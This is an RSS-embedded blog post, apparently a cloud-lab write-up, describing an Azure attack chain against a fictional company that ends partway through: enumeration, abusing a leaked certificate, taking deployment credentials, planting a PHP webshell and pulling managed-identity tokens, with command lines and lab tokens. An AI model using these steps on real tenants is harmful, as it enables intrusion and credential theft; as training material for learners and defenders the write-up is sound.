src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ddc9f77d9fbf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Passwordless Credentials for Access and Escalation]]></title>
            <link>https://medium.com/@august.vansickle/passwordless-credentials-for-access-and-escalation-37b211a21cf7?source=rss-83e302496c39------2</link>
            <guid isPermaLink="false">https://medium.com/p/37b211a21cf7</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[azure]]></category>
            <category><![CDATA[pwned-lab]]></category>
            <category><![CDATA[cloud]]></category>
            <dc:creator><![CDATA[August van sickle]]></dc:creator>
            <pubDate>Thu, 14 Nov 2024 02:17:13 GMT</pubDate>
            <atom:updated>2024-11-14T02:17:13.410Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*TAFeqO-edLCpdDwVQp3MuQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hgknyUf4qeMw3rBq1Honow.png" /></figure><p>Real-world context</p><p>Credentials are often not plaintext passwords but instead can be keys, certificates and credential derivitives such as hashes and tokens. This lab showcases certificate based authentication and tokens in additional to plaintext credentials. Executive accounts are often a key target for threat actors, as seen in the Midnight Blizzard breach that targeted Microsoft. Additionally, rather than exploiting CVEs we will look to harness existing system functionality to move laterally and vertically.</p><p>Were going to start with some OSINT on our given domain address</p><p>A good place to start is to get the tenant ID. We can use the website <a href="https://aadinternals.com/osint/">https://aadinternals.com/osint/</a> to get this and more from the domain name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*DYUbrtT5a1aB3P_KYijo1Q.png" /></figure><p>Users could be using email addresses with either the onmicrosoft domain or the custom megabigtech domain. You can spray common passwords for both with a user list</p><p>We can also expand our scope with subdomain enum with a tool like AzSubEnum</p><p>To install AzSubEnum:</p><p>cd /opt; git clone <a href="https://github.com/yuyudhn/AzSubEnum">https://github.com/yuyudhn/AzSubEnum</a></p><p>cd AzSubEnum; pip3 install -r requirements.txt</p><p>python3 azsubenum.py — help</p><p>We specify the parameters -b to provide the base subdomain name that should be searched for. The permutations in the permutations file (included in the repo) are included with the -p parameter. The tool will work through the permutations trying to find subdomains that exist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*J1zWIA_y1UwtuNUmSKC7Ow.png" /></figure><p>Next we will try to identify blob containers in the storage account using basicblobfinder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*vavm87_wjbfY-nfWZS8jMw.png" /></figure><p>Notice that we curate our own namelist and don’t use the default. Ours is based on the megabigtech domain</p><p>Next we enumerate one of the two blob objects</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*WmuKCUo88BU2I8cuMAguWg.png" /></figure><p>We plug in the uri + ?retype=container&amp;comp=list to get this json file</p><p>Visiting that whole URI downloads a CSV</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*-g8olxl5woAWoENQ0v3oRg.png" /></figure><p>Contains properties of applications in use in the Mega Big Tech Azure environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fhHhJ9Vdg0i8pbCH3R9Njg.png" /></figure><p>The other URI downloads a .pfx</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*03I_YVsLJSyVoS0UTCO4mQ.png" /></figure><p>A PFX file is a binary file designed to encapsulate multiple cryptographic components, potentially comprising of private keys, public keys, and digital certificates. The Get-PfxCertificate PowerShell cmdlet reveals that it was created for the HrPortal and it also doesn’t mention that it’s protected with a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*S9dbfTfmGluEnehTQWl1qw.png" /></figure><p>The windows version of this cmdlet seems to give more context</p><p>Looking back at the exported list of application IDs we see one for HrPortal…</p><p>“64c8d32b-0d53–43f4-b4d4–26fc6f05e579”,”HrPortal”,”AzureADMyOrg”</p><p>We can authenticate as a service principal associated with an Azure application using an ID and secret (password). However admins might want to authenticate using certificates rather than secrets, which can enhance security by providing a more robust/long-lived method of authentication. Let’s try this!</p><p>We’ll go through the process of authenticating using the certificate on both Windows and Linux.</p><p>From Linux, we first need to convert the PFX to a PEM, as the Az CLI is able to use this to authenticate. We can do this using OpenSSL. When it prompts for a password, we can just hit enter, although to protect the security of credentials outside of a lab environment we would want to set a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*mtk3sVo2IlQFQvHi52fE_Q.png" /></figure><p>Given the application ID (service principal) and the tenant ID we identified previously, we can now log in using Az CLI</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0nX363qEnJ38sSy64FnvbA.png" /></figure><p>We can now get the access token and use it to authenticate with other tools, such as our own scripts or the Az PowerShell module.</p><p>(Im guessing the last step with the cert and this are included in this lab’s “passwordless” concept)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZWc9x407IkqXMneXTf6SRA.png" /></figure><p>I do like to copy and paste the values of tokens so that I have them on hand</p><p>az account get-access-token</p><p>{</p><p>“accessToken”: “eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjNQYUs0RWZ5Qk5RdTNDdGpZc2EzWW1oUTVFMCIsImtpZCI6IjNQYUs0RWZ5Qk5RdTNDdGpZc2EzWW1oUTVFMCJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuY29yZS53aW5kb3dzLm5ldC8iLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8yNTkwY2NlZi02ODdkLTQ5M2ItYWU4ZC00NDFjYmFiNjNhNzIvIiwiaWF0IjoxNzMxNTQ1NTE2LCJuYmYiOjE3MzE1NDU1MTYsImV4cCI6MTczMTU0OTQxNiwiYWlvIjoiazJCZ1lPQlJsbUtaeW1yODlUU3pWUTJML1hkN0FBPT0iLCJhcHBpZCI6IjIwYWNjNWRkLWZmZDQtNDFhYy1hMWE1LWQzODEzMjlkYTQ5YSIsImFwcGlkYWNyIjoiMiIsImdyb3VwcyI6WyI2YjgzZTA2Ni1hMDcwLTRhMmQtODJjOS1mY2Y1NWI3NmNjZjQiXSwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMjU5MGNjZWYtNjg3ZC00OTNiLWFlOGQtNDQxY2JhYjYzYTcyLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiZWI3YWZhY2ItNTNiYS00ZmRhLTlkYmUtYzBjYzlkNmIzODZjIiwicmgiOiIxLkFVNEE3OHlRSlgxb08wbXVqVVFjdXJZNmNrWklmM2tBdXRkUHVrUGF3ZmoyTUJNT0FRQk9BQS4iLCJzdWIiOiJlYjdhZmFjYi01M2JhLTRmZGEtOWRiZS1jMGNjOWQ2YjM4NmMiLCJ0aWQiOiIyNTkwY2NlZi02ODdkLTQ5M2ItYWU4ZC00NDFjYmFiNjNhNzIiLCJ1dGkiOiJGOFdHcDI3YVRFMmpfOElYWnV1YUFRIiwidmVyIjoiMS4wIiwieG1zX2NhZSI6IjEiLCJ4bXNfY2MiOlsiQ1AxIl0sInhtc19pZHJlbCI6IjcgMjIiLCJ4bXNfcmQiOiIwLjQyTGxZQkppOUFNQSIsInhtc19zc20iOiIxIiwieG1zX3RjZHQiOjE2NzEzMTExODJ9.Or2euItoaNd-fOf1osyOxqZl6SElC0FcOPjYCQSJ7Qnqldn02EN9Scb4hskPut8ShK5OwcMXJGXqYcpy5y_2Wqh-EUwrza0N1jX_OpAEBsW1Na72MzPysjX1OySBFWbClBQOwgpgHGMkg6BwqO9lgc30urpokICrXVbE_dZ38XR2wpHRtsMPvB4QqOcnRY0_W4u84y9EPhUZq5LzeN4vW3GT5LybUy2YW8FqSUcEcmY8E_CSYilOA7E736L7HTXLsJsPD58FQJDxSF1ViB25nyJFpISSQQCuGc3-Q5aV5xmkhf2AS573VCDBdM7PYJub8Qp6DQuvrg9ZhWHDiY6ang”,</p><p>“expiresOn”: “2024–11–14 01:56:54.000000”,</p><p>“expires_on”: 1731549414,</p><p>“subscription”: “ceff06cb-e29d-4486-a3ae-eaaec5689f94”,</p><p>“tenant”: “2590ccef-687d-493b-ae8d-441cbab63a72”,</p><p>“tokenType”: “Bearer”</p><p>}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mlIp8ziT7WPK9YaB3PacRg.png" /></figure><p>Issuing Get-AzResource returns an Azure Web App named megabigtech-hr-portal . We also see the subscription ID and a resource group named mbt-rg-12</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ijLegNIfkLXgH_C6Mfu3fg.png" /></figure><p>The Get-AzRoleAssignment cmdlet reveals that our compromised service principal has been granted the Website Contributor role on the web app. This powerful role also provides access to the “Kudu” / SCM or advanced site. Each app in Azure also has a corresponding Kudu site that allows admins to manage and access the file system and other aspects. The issue for us is that service principals are intended for programmatic access only and so we wouldn’t be able to login to the site with our compromised account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KW1cNClK9QyHR3dbP_1V1Q.png" /></figure><p>There is feature parity between console and command line operations. We cant access the kudu app in the portal with this comprimised account, lets try another way</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*E2UEsjci6XekAd_kyq5swA.png" /></figure><p>Our curl command reveals a 200 ok and that the web server is nginx, which indicates that the OS is linux</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QJKOodyvT3syJW6uPvnqow.png" /></figure><p>Make sure you download seclists first with apt install seclists</p><p>Then fuzz the site with ffuf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SMiUK3IL_rT5wX_fPvi5zQ.png" /></figure><p>That gives us the “portal” directory as the fuzzing attempts to fuzz possible directories behind megabigtech-hr-portal.azurewebsites.net</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*na4p_56UEByyvzFCaed8nQ.png" /></figure><p>The Website Contributor role also allows us to access the web app’s publishing profile that contains the credentials used to deploy resources to the site. While SFTP (Secure File Transfer Protocol) access isn’t enabled by default, it is very convenient and is frequently enabled by web app admins. Using the PowerShell commands below we can retrieve the FTPS deployment URL, username and password.</p><p>Ian did this as a series of commands in powershell but I’m lazy so <em>I‘</em>m going to run it as a script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*IuXgO2JXdOwR4N5sZdxkKQ.png" /></figure><p>Username is first</p><p>Then password</p><p>Then the url for the ftp server</p><p>We can think to upload a PHP webshell like the one below that gives us command execution on the web app. In this case we could pass the command to the c parameter in a GET request, which makes it convenient for invoking directly from the browser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/291/1*cgs2JylWVELtDMx7VzPv2g.png" /></figure><p>url can be used to upload the webshell to the portal directory over FTPS. Enter the password when prompted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CBbrelM4s57L5YSGVQpQ7w.png" /></figure><p>That is a long password, actually pretty strong if it wasn’t exposed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6GFCXHo1DqOV_x_MXTTW_w.png" /></figure><p>Yay we have php cmd exec</p><p>Distributed cloud resources often have the need to interact with other resources in Azure and can be configured with a user or system-managed identity that allows them to authenticate. An API endpoint is accessible on a private (non-internet routable) IP address that allows the application to retrieve a token for the managed identity and interact with Azure. The API endpoint URL is like the example below, with the last two octets of the IP address rotating periodically.</p><p><a href="http://169.254.129.5:8081/msi/token">http://169.254.129.5:8081/msi/token</a></p><p>A identity header in the form of a Universally Unique IDentifier (UUID) is also needed to interact with this API endpoint, providing an additional layer of security. Both this rotating header and URL are made available as environment variables in the application operating system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gVRvYTKb2aIITwjLuLS8Wg.png" /></figure><p>The identity endpoint is what we need and confirms that there is a managed identity</p><p>IDENTITY_HEADER=b0bbe8e4–7cac-4730-a3c2–4fdcc6380b5b</p><p>IDENTITY_ENDPOINT=http://169.254.129.2:8081/msi/token</p><p>Using curl we can send a request to the Azure Resource Manager API and request a token. We’ll need to include the identity header and endpoint values that we found from running the env command as HTTP headers, and also as need to specify resource=https://management.azure.com/ in the URL as well as the API version.</p><p>💡 In the curl command below, replace the identity endpoint and header values with your values.</p><p>curl -s -H “X-Identity-Header: b0bbe8e4–7cac-4730-a3c2–4fdcc6380b5b” “<a href="http://169.254.129.2:8081/msi/token?api-version=2019-08-01&amp;resource=https://management.azure.com/">http://169.254.129.2:8081/msi/token?api-version=2019-08-01&amp;resource=https://management.azure.com/</a>&quot;&quot;</p><p>Now we url encode it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*2N_oAG3oreMcFK3NEB3DTg.png" /></figure><p>I did this at: <a href="https://www.urlencoder.org/">URL Encode and Decode — Online</a></p><p>To some this may be obvious but we are all in different parts of our journey, we url encode this curl command so that it can be processed through our cmd exec, so it goes behind the “c=” in the url:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A-oMP2OdiFQGK8E9s1evdw.png" /></figure><p>{“access_token”:”eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjNQYUs0RWZ5Qk5RdTNDdGpZc2EzWW1oUTVFMCIsImtpZCI6IjNQYUs0RWZ5Qk5RdTNDdGpZc2EzWW1oUTVFMCJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzI1OTBjY2VmLTY4N2QtNDkzYi1hZThkLTQ0MWNiYWI2M2E3Mi8iLCJpYXQiOjE3MzE1NDc4OTksIm5iZiI6MTczMTU0Nzg5OSwiZXhwIjoxNzMxNjM0NTk5LCJhaW8iOiJrMkJnWURoLzIyUFdnMHRQN3p4UG1wU1FjeUsvQlFBPSIsImFwcGlkIjoiNmJlYjNhYjAtNmUyOC00YTkyLThlNWEtY2UwZDVhYmYzYThjIiwiYXBwaWRhY3IiOiIyIiwiZ3JvdXBzIjpbIjZiODNlMDY2LWEwNzAtNGEyZC04MmM5LWZjZjU1Yjc2Y2NmNCJdLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8yNTkwY2NlZi02ODdkLTQ5M2ItYWU4ZC00NDFjYmFiNjNhNzIvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiJiNTZjYjNjNC1jMTE1LTRlM2EtOWUzNS01NjE0YTJhMzJjM2MiLCJyaCI6IjEuQVU0QTc4eVFKWDFvTzBtdWpVUWN1clk2Y2taSWYza0F1dGRQdWtQYXdmajJNQk1PQVFCT0FBLiIsInN1YiI6ImI1NmNiM2M0LWMxMTUtNGUzYS05ZTM1LTU2MTRhMmEzMmMzYyIsInRpZCI6IjI1OTBjY2VmLTY4N2QtNDkzYi1hZThkLTQ0MWNiYWI2M2E3MiIsInV0aSI6IlR0Y0tsaUNKLWtLa3FHa282ZUtBQXciLCJ2ZXIiOiIxLjAiLCJ4bXNfaWRyZWwiOiI0IDciLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy9jZWZmMDZjYi1lMjlkLTQ0ODYtYTNhZS1lYWFlYzU2ODlmOTQvcmVzb3VyY2Vncm91cHMvbWJ0LXJnLTEyL3Byb3ZpZGVycy9NaWNyb3NvZnQuV2ViL3NpdGVzL21lZ2FiaWd0ZWNoLWhyLXBvcnRhbCIsInhtc190Y2R0IjoiMTY3MTMxMTE4MiJ9.LtAx5TbJbtQL3C1QbsjPT5Q1XaITOL99_JaQ6dSIqIbvYMPI3KPp9JuXUGzG2hb-uGhp401WKwYOk-XOT5M4hynS10e1Awy8Ybw7z0sutHMt2JNMR8vmjdqql3jf1omMcLrHqRV4L_yien3r3jxV8bmK6lM-VHMw1rkeBCeXeGLGRODZMCcxYQs07vr9FOvqXA7sCeyb0HAC7TXa3wHnbYWg-EgtNdioNFCnCL5qmXsPg9YBIblbiku1X89bcBm-SMpSahgTrkGTzg2iCiN9vaqMiY0m1ggsVYaZhbZqX1JZ_NTdO6S-CEh72y8-QV8b4MbzuY-6QNLYYp2LI6cnug”,”expires_on”:”1731634598&quot;,”resource”:”https://management.azure.com/&quot;,&quot;token_type&quot;:&quot;Bearer&quot;,&quot;client_id&quot;:&quot;6beb3ab0-6e28-4a92-8e5a-ce0d5abf3a8c&quot;}{&quot;access_token&quot;:&quot;eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjNQYUs0RWZ5Qk5RdTNDdGpZc2EzWW1oUTVFMCIsImtpZCI6IjNQYUs0RWZ5Qk5RdTNDdGpZc2EzWW1oUTVFMCJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzI1OTBjY2VmLTY4N2QtNDkzYi1hZThkLTQ0MWNiYWI2M2E3Mi8iLCJpYXQiOjE3MzE1NDc4OTksIm5iZiI6MTczMTU0Nzg5OSwiZXhwIjoxNzMxNjM0NTk5LCJhaW8iOiJrMkJnWURoLzIyUFdnMHRQN3p4UG1wU1FjeUsvQlFBPSIsImFwcGlkIjoiNmJlYjNhYjAtNmUyOC00YTkyLThlNWEtY2UwZDVhYmYzYThjIiwiYXBwaWRhY3IiOiIyIiwiZ3JvdXBzIjpbIjZiODNlMDY2LWEwNzAtNGEyZC04MmM5LWZjZjU1Yjc2Y2NmNCJdLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8yNTkwY2NlZi02ODdkLTQ5M2ItYWU4ZC00NDFjYmFiNjNhNzIvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiJiNTZjYjNjNC1jMTE1LTRlM2EtOWUzNS01NjE0YTJhMzJjM2MiLCJyaCI6IjEuQVU0QTc4eVFKWDFvTzBtdWpVUWN1clk2Y2taSWYza0F1dGRQdWtQYXdmajJNQk1PQVFCT0FBLiIsInN1YiI6ImI1NmNiM2M0LWMxMTUtNGUzYS05ZTM1LTU2MTRhMmEzMmMzYyIsInRpZCI6IjI1OTBjY2VmLTY4N2QtNDkzYi1hZThkLTQ0MWNiYWI2M2E3MiIsInV0aSI6IlR0Y0tsaUNKLWtLa3FHa282ZUtBQXciLCJ2ZXIiOiIxLjAiLCJ4bXNfaWRyZWwiOiI0IDciLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy9jZWZmMDZjYi1lMjlkLTQ0ODYtYTNhZS1lYWFlYzU2ODlmOTQvcmVzb3VyY2Vncm91cHMvbWJ0LXJnLTEyL3Byb3ZpZGVycy9NaWNyb3NvZnQuV2ViL3NpdGVzL21lZ2FiaWd0ZWNoLWhyLXBvcnRhbCIsInhtc190Y2R0IjoiMTY3MTMxMTE4MiJ9.LtAx5TbJbtQL3C1QbsjPT5Q1XaITOL99_JaQ6dSIqIbvYMPI3KPp9JuXUGzG2hb-uGhp401WKwYOk-XOT5M4hynS10e1Awy8Ybw7z0sutHMt2JNMR8vmjdqql3jf1omMcLrHqRV4L_yien3r3jxV8bmK6lM-VHMw1rkeBCeXeGLGRODZMCcxYQs07vr9FOvqXA7sCeyb0HAC7TXa3wHnbYWg-EgtNdioNFCnCL5qmXsPg9YBIblbiku1X89bcBm-SMpSahgTrkGTzg2iCiN9vaqMiY0m1ggsVYaZhbZqX1JZ_NTdO6S-CEh72y8-QV8b4MbzuY-6QNLYYp2LI6cnug&quot;,&quot;expires_on&quot;:&quot;1731634598&quot;,&quot;resource&quot;:&quot;https://management.azure.com/&quot;,&quot;token_type&quot;:&quot;Bearer&quot;,&quot;client_id&quot;:&quot;6beb3ab0-6e28-4a92-8e5a-ce0d5abf3a8c&quot;}</p><p>We got an ARM Access token (Remember what ARM is, if you don’t remember a quick google will help and its important context to know how to pivot from here</p><p>Pasting the JWT into <a href="https://jwt.io/">https://jwt.io/</a> we see the application display name megabigtech-hr-portal, the Application (Client) ID (appid) and the Object ID (oid)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eGYu4zKLr7qkQif4kyHV6Q.png" /></figure><p>Lets store the access token as env variable $token</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U9C9yEAZ0PwHQAXQxIZ9UQ.png" /></figure><p>The Azure subscription ID is also needed to query resources. This was already returned as part of the Get-AzRoleAssignment output, but if we didn’t have this we could also get this from the WEBSITE_OWNER_NAME variable.</p><p>Let’s craft a script to identify the resources we can access</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*yDrfkhuelAzjAEwfdvPgUg.png" /></figure><p>I am certain that I will forget the purpose of this script in a few days and wonder it is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*oYfh6N5W0er9qApUMLNNGg.png" /></figure><p>Not much that we don’t already have access to. Maybe that’s expected as HR is more people-centric anyway. Let’s turn our attention instead to the more people-centric Entra ID and the Graph API. Request an access token for MS Graph as below.</p><p><a href="https://megabigtech-hr-portal.azurewebsites.net/portal/attack.php?c=curl%20-s%20-H%20%22X-Identity-Header%3A%20b0bbe8e4-7cac-4730-a3c2-4fdcc6380b5b%22%20%22http%3A%2F%2F169.254.129.2%3A8081%2Fmsi%2Ftoken%3Fapi-version%3D2019-08-01%26resource%3Dhttps%3A%2F%2Fgraph.microsoft.com%2F%22">https://megabigtech-hr-portal.azurewebsites.net/portal/attack.php?c=curl%20-s%20-H%20%22X-Identity-Header%3A%20b0bbe8e4-7cac-4730-a3c2-4fdcc6380b5b%22%20%22http%3A%2F%2F169.254.129.2%3A8081%2Fmsi%2Ftoken%3Fapi-version%3D2019-08-01%26resource%3Dhttps%3A%2F%2Fgraph.microsoft.com%2F%22</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F6oKHN8SBCzeYbpdDoiXhg.png" /></figure><p>{“access_token”:”eyJ0eXAiOiJKV1QiLCJub25jZSI6InpJa0RPRFhVVFVlUUx6bGZrYkROalVIN2VseU92T2g2Y2ZnWjJkLVAxOVUiLCJhbGciOiJSUzI1NiIsIng1dCI6IjNQYUs0RWZ5Qk5RdTNDdGpZc2EzWW1oUTVFMCIsImtpZCI6IjNQYUs0RWZ5Qk5RdTNDdGpZc2EzWW1oUTVFMCJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20vIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMjU5MGNjZWYtNjg3ZC00OTNiLWFlOGQtNDQxY2JhYjYzYTcyLyIsImlhdCI6MTczMTU0ODY0NiwibmJmIjoxNzMxNTQ4NjQ2LCJleHAiOjE3MzE2MzUzNDYsImFpbyI6ImsyQmdZSGp4ekwva1U3bmp4S3VKdTdsMFZqbXRCQUE9IiwiYXBwX2Rpc3BsYXluYW1lIjoibWVnYWJpZ3RlY2gtaHItcG9ydGFsIiwiYXBwaWQiOiI2YmViM2FiMC02ZTI4LTRhOTItOGU1YS1jZTBkNWFiZjNhOGMiLCJhcHBpZGFjciI6IjIiLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8yNTkwY2NlZi02ODdkLTQ5M2ItYWU4ZC00NDFjYmFiNjNhNzIvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiJiNTZjYjNjNC1jMTE1LTRlM2EtOWUzNS01NjE0YTJhMzJjM2MiLCJyaCI6IjEuQVU0QTc4eVFKWDFvTzBtdWpVUWN1clk2Y2dNQUFBQUFBQUFBd0FBQUFBQUFBQUFPQVFCT0FBLiIsInN1YiI6ImI1NmNiM2M0LWMxMTUtNGUzYS05ZTM1LTU2MTRhMmEzMmMzYyIsInRlbmFudF9yZWdpb25fc2NvcGUiOiJFVSIsInRpZCI6IjI1OTBjY2VmLTY4N2QtNDkzYi1hZThkLTQ0MWNiYWI2M2E3MiIsInV0aSI6InYxeFJqbDdGcUVhbXhzZlF2QXNLQkEiLCJ2ZXIiOiIxLjAiLCJ3aWRzIjpbIjg4ZDhlM2UzLThmNTUtNGExZS05NTNhLTliOTg5OGI4ODc2YiIsIjA5OTdhMWQwLTBkMWQtNGFjYi1iNDA4LWQ1Y2E3MzEyMWU5MCJdLCJ4bXNfaWRyZWwiOiI3IDQiLCJ4bXNfdGNkdCI6IjE2NzEzMTExODIifQ.DPOiw3RACIUJzyL7OxRy-1VHKZyoxOkf6FvBoQ4J7OWvAvMpM_d3FdfpImTAtYPgbB91_yvuMiMy86doKHQeTKJkqdH8kP70qGXkY-0esxHnr-jlxn-9zXyhxcDiAcn4H-UjzslKGeZfwUb1GjhN6PExI7WU8vJru4eHc6MJM3lEhyyTaRmoIqg55amXoA05q5Z4-O-Wk1iiJ_TERYRnQVfnWsh97dehcEv1YSo0N65L2igoaMQURFV2J-w6CVP-jDg8vjawp7EJXSY05Z_JJ4hAMNDoHlGnCwnR4Qpzt3wzypbI67D82aCj9_tXYxmaYjz98fyV03vRgqd85cW8ew”,”expires_on”:”1731635345&quot;,”resource”:”https://graph.microsoft.com/&quot;,&quot;token_type&quot;:&quot;Bearer&quot;,&quot;client_id&quot;:&quot;6beb3ab0-6e28-4a92-8e5a-ce0d5abf3a8c&quot;}{&quot;access_token&quot;:&quot;eyJ0eXAiOiJKV1QiLCJub25jZSI6InpJa0RPRFhVVFVlUUx6bGZrYkROalVIN2VseU92T2g2Y2ZnWjJkLVAxOVUiLCJhbGciOiJSUzI1NiIsIng1dCI6IjNQYUs0RWZ5Qk5RdTNDdGpZc2EzWW1oUTVFMCIsImtpZCI6IjNQYUs0RWZ5Qk5RdTNDdGpZc2EzWW1oUTVFMCJ9.eyJhdWQiOiJodHRwczovL2dyYXBoLm1pY3Jvc29mdC5jb20vIiwiaXNzIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvMjU5MGNjZWYtNjg3ZC00OTNiLWFlOGQtNDQxY2JhYjYzYTcyLyIsImlhdCI6MTczMTU0ODY0NiwibmJmIjoxNzMxNTQ4NjQ2LCJleHAiOjE3MzE2MzUzNDYsImFpbyI6ImsyQmdZSGp4ekwva1U3bmp4S3VKdTdsMFZqbXRCQUE9IiwiYXBwX2Rpc3BsYXluYW1lIjoibWVnYWJpZ3RlY2gtaHItcG9ydGFsIiwiYXBwaWQiOiI2YmViM2FiMC02ZTI4LTRhOTItOGU1YS1jZTBkNWFiZjNhOGMiLCJhcHBpZGFjciI6IjIiLCJpZHAiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC8yNTkwY2NlZi02ODdkLTQ5M2ItYWU4ZC00NDFjYmFiNjNhNzIvIiwiaWR0eXAiOiJhcHAiLCJvaWQiOiJiNTZjYjNjNC1jMTE1LTRlM2EtOWUzNS01NjE0YTJhMzJjM2MiLCJyaCI6IjEuQVU0QTc4eVFKWDFvTzBtdWpVUWN1clk2Y2dNQUFBQUFBQUFBd0FBQUFBQUFBQUFPQVFCT0FBLiIsInN1YiI6ImI1NmNiM2M0LWMxMTUtNGUzYS05ZTM1LTU2MTRhMmEzMmMzYyIsInRlbmFudF9yZWdpb25fc2NvcGUiOiJFVSIsInRpZCI6IjI1OTBjY2VmLTY4N2QtNDkzYi1hZThkLTQ0MWNiYWI2M2E3MiIsInV0aSI6InYxeFJqbDdGcUVhbXhzZlF2QXNLQkEiLCJ2ZXIiOiIxLjAiLCJ3aWRzIjpbIjg4ZDhlM2UzLThmNTUtNGExZS05NTNhLTliOTg5OGI4ODc2YiIsIjA5OTdhMWQwLTBkMWQtNGFjYi1iNDA4LWQ1Y2E3MzEyMWU5MCJdLCJ4bXNfaWRyZWwiOiI3IDQiLCJ4bXNfdGNkdCI6IjE2NzEzMTExODIifQ.DPOiw3RACIUJzyL7OxRy-1VHKZyoxOkf6FvBoQ4J7OWvAvMpM_d3FdfpImTAtYPgbB91_yvuMiMy86doKHQeTKJkqdH8kP70qGXkY-0esxHnr-jlxn-9zXyhxcDiAcn4H-UjzslKGeZfwUb1GjhN6PExI7WU8vJru4eHc6MJM3lEhyyTaRmoIqg55amXoA05q5Z4-O-Wk1iiJ_TERYRnQVfnWsh97dehcEv1YSo0N65L2igoaMQURFV2J-w6CVP-jDg8vjawp7EJXSY05Z_JJ4hAMNDoHlGnCwnR4Qpzt3wzypbI67D82aCj9_tXYxmaYjz98fyV03vRgqd85cW8ew&quot;,&quot;expires_on&quot;:&quot;1731635345&quot;,&quot;resource&quot;:&quot;https://graph.microsoft.com/&quot;,&quot;token_type&quot;:&quot;Bearer&quot;,&quot;client_id&quot;:&quot;6beb3ab0-6e28-4a92-8e5a-ce0d5abf3a8c&quot;}</p><p>Now set this token as an env variable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IeoV9p_gTnMNN3BLIozv3A.png" /></figure><p>With the Microsoft Graph we have to be specific about our information requests. Sending a generic query to try and see what we can access won’t work. So we can think to query administrative units that might have been configured. Administrative units enable the limitation of role permissions to specific segments of the organization that you define. For example, you may wish all members of the IT Helpdesk to reset passwords for non-administrators.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*ehJl4LWwh5bVIoDNDPW3Nw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*8Y-CTrM_InkmkZaOEGUyaA.png" /></figure><p>We see an administrative unit has been created for HR. Let’s see who is a member. Administrative unit members can have various actions performed on them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*gpljZsDbNZY-x8cirYn9dw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*uHGEW0jWR4TmmISNA1dmBA.png" /></figure><p>CEO, that seems potentially 